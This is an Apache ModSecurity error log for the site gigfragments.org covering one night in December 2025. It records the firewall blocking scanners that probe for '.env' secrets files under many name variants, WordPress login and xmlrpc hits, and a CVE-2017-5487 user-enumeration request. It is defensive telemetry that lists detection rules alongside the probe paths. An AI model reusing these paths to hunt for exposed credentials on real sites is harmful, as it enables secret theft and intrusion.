[Mon Dec 08 22:04:43.447066 2025] [:error] [pid 50569:tid 50582] [client 168.63.155.67:33244] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aTba-_HhZxyKreYmWzLFuQAAAAo"]
[Mon Dec 08 22:04:44.988700 2025] [:error] [pid 48541:tid 48556] [client 168.63.155.67:24349] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aTba_ASNhJPArxLCdWEMRwAAAQ0"]
[Mon Dec 08 22:04:56.297666 2025] [:error] [pid 48541:tid 48554] [client 168.63.155.67:25193] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ab.php"] [unique_id "aTbbCASNhJPArxLCdWEMSwAAAQs"]
[Mon Dec 08 22:04:57.254019 2025] [:error] [pid 50569:tid 50586] [client 168.63.155.67:25200] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ab.php"] [unique_id "aTbbCfHhZxyKreYmWzLFyQAAAA4"]
[Mon Dec 08 23:14:25.955616 2025] [:error] [pid 48481:tid 48504] [client 98.98.171.116:51704] [client 98.98.171.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.171.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTbrUSe0pzx5KCi3S0I94AAAANM"]
[Mon Dec 08 23:14:25.958908 2025] [:error] [pid 48573:tid 48592] [client 98.98.171.116:51706] [client 98.98.171.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.171.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTbrUVIayuqwlm3CEkawCQAAAVE"]
[Mon Dec 08 23:27:55.567999 2025] [:error] [pid 48541:tid 48565] [client 182.42.105.144:59803] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTbuewSNhJPArxLCdWE2gwAAARY"]
[Tue Dec 09 02:11:16.836342 2025] [:error] [pid 57134:tid 57180] [client 51.195.41.174:53716] [client 51.195.41.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.195.41.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTcUxFn7_Hlbg-DXKIsdSgAAAEY"]
[Tue Dec 09 02:11:19.631408 2025] [:error] [pid 17587:tid 17597] [client 51.195.41.174:40148] [client 51.195.41.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.195.41.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTcUx5JbuGn8bV7YLq9opQAAAMU"], referer: http://gigfragments.org/wp-login.php
[Tue Dec 09 02:11:21.927338 2025] [:error] [pid 59067:tid 59077] [client 51.195.41.174:40158] [client 51.195.41.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.195.41.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTcUyXStYKzcfg3q9jfKTQAAAQM"]
[Tue Dec 09 02:25:41.673348 2025] [:error] [pid 57134:tid 57181] [client 34.254.178.195:56194] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aTcYJVn7_Hlbg-DXKIsjUQAAAEc"], referer: https://www.google.com/
[Tue Dec 09 02:25:42.337474 2025] [:error] [pid 17674:tid 17682] [client 34.254.178.195:56232] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "aTcYJgX-np7s8gMWL-pYogAAAAY"], referer: https://www.google.com/
[Tue Dec 09 02:25:42.937598 2025] [:error] [pid 57134:tid 57178] [client 34.254.178.195:56260] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev"] [unique_id "aTcYJln7_Hlbg-DXKIsjVAAAAEQ"], referer: https://www.google.com/
[Tue Dec 09 02:25:43.576842 2025] [:error] [pid 57134:tid 57188] [client 34.254.178.195:56292] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.prod"] [unique_id "aTcYJ1n7_Hlbg-DXKIsjVgAAAE4"], referer: https://www.google.com/
[Tue Dec 09 02:25:44.285004 2025] [:error] [pid 17674:tid 17685] [client 34.254.178.195:56328] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.staging"] [unique_id "aTcYKAX-np7s8gMWL-pYpQAAAAk"], referer: https://www.google.com/
[Tue Dec 09 02:25:44.872946 2025] [:error] [pid 59067:tid 59098] [client 34.254.178.195:56368] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development"] [unique_id "aTcYKHStYKzcfg3q9jfPNgAAARg"], referer: https://www.google.com/
[Tue Dec 09 02:25:45.481404 2025] [:error] [pid 17589:tid 17655] [client 34.254.178.195:56408] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "aTcYKY3u_N_j630LWcCbPgAAAUg"], referer: https://www.google.com/
[Tue Dec 09 02:25:46.150502 2025] [:error] [pid 17589:tid 17651] [client 34.254.178.195:56438] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.test"] [unique_id "aTcYKo3u_N_j630LWcCbPwAAAUQ"], referer: https://www.google.com/
[Tue Dec 09 02:25:46.828331 2025] [:error] [pid 59067:tid 59089] [client 34.254.178.195:56472] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "aTcYKnStYKzcfg3q9jfPOAAAAQ8"], referer: https://www.google.com/
[Tue Dec 09 02:25:47.411303 2025] [:error] [pid 59067:tid 59092] [client 34.254.178.195:56528] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "aTcYK3StYKzcfg3q9jfPOgAAARI"], referer: https://www.google.com/
[Tue Dec 09 02:25:48.006988 2025] [:error] [pid 57134:tid 57180] [client 34.254.178.195:56562] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.sample"] [unique_id "aTcYLFn7_Hlbg-DXKIsjYgAAAEY"], referer: https://www.google.com/
[Tue Dec 09 02:25:48.697041 2025] [:error] [pid 17589:tid 17653] [client 34.254.178.195:56612] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.old"] [unique_id "aTcYLI3u_N_j630LWcCbRAAAAUY"], referer: https://www.google.com/
[Tue Dec 09 02:25:49.311288 2025] [:error] [pid 17674:tid 17682] [client 34.254.178.195:56656] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.bak"] [unique_id "aTcYLQX-np7s8gMWL-pYqQAAAAY"], referer: https://www.google.com/
[Tue Dec 09 02:25:49.904175 2025] [:error] [pid 17674:tid 17691] [client 34.254.178.195:56682] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.save"] [unique_id "aTcYLQX-np7s8gMWL-pYrQAAAA8"], referer: https://www.google.com/
[Tue Dec 09 02:25:50.533792 2025] [:error] [pid 57134:tid 57183] [client 34.254.178.195:56730] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.orig"] [unique_id "aTcYLln7_Hlbg-DXKIsjZQAAAEk"], referer: https://www.google.com/
[Tue Dec 09 02:25:51.114452 2025] [:error] [pid 17587:tid 17600] [client 34.254.178.195:56768] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.swp"] [unique_id "aTcYL5JbuGn8bV7YLq9sDgAAAMg"], referer: https://www.google.com/
[Tue Dec 09 02:25:51.754353 2025] [:error] [pid 59067:tid 59095] [client 34.254.178.195:56806] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env~"] [unique_id "aTcYL3StYKzcfg3q9jfPQAAAARU"], referer: https://www.google.com/
[Tue Dec 09 02:25:52.355455 2025] [:error] [pid 17589:tid 17661] [client 34.254.178.195:56850] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.tmp"] [unique_id "aTcYMI3u_N_j630LWcCbRwAAAU4"], referer: https://www.google.com/
[Tue Dec 09 02:25:53.030709 2025] [:error] [pid 57134:tid 57176] [client 34.254.178.195:56906] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dist"] [unique_id "aTcYMVn7_Hlbg-DXKIsjaAAAAEI"], referer: https://www.google.com/
[Tue Dec 09 02:25:53.632340 2025] [:error] [pid 17588:tid 17629] [client 34.254.178.195:56942] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env"] [unique_id "aTcYMTfolJgrovDIxbRyGAAAAIk"], referer: https://www.google.com/
[Tue Dec 09 02:25:54.245256 2025] [:error] [pid 17589:tid 17667] [client 34.254.178.195:56966] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env.save"] [unique_id "aTcYMo3u_N_j630LWcCbSQAAAVQ"], referer: https://www.google.com/
[Tue Dec 09 02:25:55.510448 2025] [:error] [pid 17588:tid 17628] [client 34.254.178.195:57008] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env.bak"] [unique_id "aTcYMzfolJgrovDIxbRyGwAAAIg"], referer: https://www.google.com/
[Tue Dec 09 02:25:56.140136 2025] [:error] [pid 17588:tid 17625] [client 34.254.178.195:57042] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.env.old"] [unique_id "aTcYNDfolJgrovDIxbRyHAAAAIU"], referer: https://www.google.com/
[Tue Dec 09 02:25:56.752114 2025] [:error] [pid 57134:tid 57183] [client 34.254.178.195:57086] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env"] [unique_id "aTcYNFn7_Hlbg-DXKIsjbgAAAEk"], referer: https://www.google.com/
[Tue Dec 09 02:25:57.458139 2025] [:error] [pid 57134:tid 57178] [client 34.254.178.195:57128] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env.save"] [unique_id "aTcYNVn7_Hlbg-DXKIsjcQAAAEQ"], referer: https://www.google.com/
[Tue Dec 09 02:25:58.085952 2025] [:error] [pid 17674:tid 17680] [client 34.254.178.195:57170] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env.bak"] [unique_id "aTcYNgX-np7s8gMWL-pYsgAAAAQ"], referer: https://www.google.com/
[Tue Dec 09 02:25:58.784362 2025] [:error] [pid 17589:tid 17655] [client 34.254.178.195:57204] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/api/.env.old"] [unique_id "aTcYNo3u_N_j630LWcCbTwAAAUg"], referer: https://www.google.com/
[Tue Dec 09 02:25:59.392187 2025] [:error] [pid 17588:tid 17642] [client 34.254.178.195:57232] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env"] [unique_id "aTcYNzfolJgrovDIxbRyIQAAAJY"], referer: https://www.google.com/
[Tue Dec 09 02:26:00.049363 2025] [:error] [pid 17674:tid 17676] [client 34.254.178.195:57268] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env.save"] [unique_id "aTcYOAX-np7s8gMWL-pYtQAAAAA"], referer: https://www.google.com/
[Tue Dec 09 02:26:00.686586 2025] [:error] [pid 59067:tid 59086] [client 34.254.178.195:57300] [client 34.254.178.195] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.env.bak"] [unique_id "aTcYOHStYKzcfg3q9jfPTAAAAQw"], referer: https://www.google.com/
[Tue Dec 09 03:00:53.458574 2025] [:error] [pid 57134:tid 57174] [client 194.48.198.248:56318] [client 194.48.198.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.48.198.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTcgZVn7_Hlbg-DXKIsyCAAAAEA"]
[Tue Dec 09 03:43:20.350062 2025] [:error] [pid 13984:tid 14004] [client 93.86.61.74:37543] [client 93.86.61.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 93.86.61.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTcqWJff2PwpnRz-UWh-UAAAABA"]
[Tue Dec 09 03:43:23.073052 2025] [:error] [pid 13986:tid 14047] [client 93.86.61.74:7519] [client 93.86.61.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 93.86.61.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTcqW5xvJfWvcTcY_WGRjAAAAIU"], referer: http://gigfragments.org/wp-login.php
[Tue Dec 09 05:31:31.891332 2025] [:error] [pid 62041:tid 62110] [client 182.44.9.147:59151] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTdDs_OmnJGvfaNPxPNMSQAAAI0"]
[Tue Dec 09 05:35:39.438532 2025] [:error] [pid 62039:tid 62043] [client 103.97.126.116:55248] [client 103.97.126.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.97.126.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTdEq6-WdjFepfLrlW55aQAAAAA"]
[Tue Dec 09 05:35:41.916789 2025] [:error] [pid 34783:tid 34801] [client 103.97.126.116:58414] [client 103.97.126.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.97.126.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTdEra17odLapL7SFcwqGQAAAVA"], referer: http://gigfragments.org/wp-login.php
[Tue Dec 09 06:43:23.097470 2025] [:error] [pid 62039:tid 62051] [client 57.129.28.64:37160] [client 57.129.28.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 57.129.28.64, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTdUi6-WdjFepfLrlW6JlQAAAAg"]
[Tue Dec 09 06:43:37.665183 2025] [:error] [pid 62041:tid 62098] [client 172.82.67.155:53516] [client 172.82.67.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.82.67.155, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTdUmfOmnJGvfaNPxPNftAAAAIE"]
[Tue Dec 09 07:31:51.633441 2025] [:error] [pid 6053:tid 6062] [client 115.79.32.136:39600] [client 115.79.32.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 115.79.32.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTdf5yHz_Tnml8kdMwzFDAAAAYc"]
[Tue Dec 09 07:31:54.100523 2025] [:error] [pid 6097:tid 6117] [client 115.79.32.136:33408] [client 115.79.32.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 115.79.32.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTdf6uY9nDD1R9gHO2SzAwAAAdI"], referer: http://gigfragments.org/wp-login.php
[Tue Dec 09 07:32:00.825999 2025] [:error] [pid 62040:tid 62085] [client 115.79.32.136:44134] [client 115.79.32.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 115.79.32.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTdf8PkSVjwLGqZL-9J8HAAAAE8"]
[Tue Dec 09 07:32:08.782172 2025] [:error] [pid 62039:tid 62059] [client 115.79.32.136:44148] [client 115.79.32.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 115.79.32.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTdf-K-WdjFepfLrlW6X9gAAABA"]
[Tue Dec 09 08:42:42.691475 2025] [:error] [pid 26689:tid 26738] [client 203.160.171.82:64895] [client 203.160.171.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.160.171.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTdwgtkbfj8nyBvIyRBnwQAAAQM"]
[Tue Dec 09 08:51:05.100697 2025] [:error] [pid 62039:tid 62066] [client 203.160.171.82:52454] [client 203.160.171.82] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aTdyea-WdjFepfLrlW63mgAAABc"]
[Tue Dec 09 08:51:55.976693 2025] [:error] [pid 6053:tid 6079] [client 203.160.171.82:53199] [client 203.160.171.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.160.171.82, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTdyqyHz_Tnml8kdMwzYWwAAAZg"]
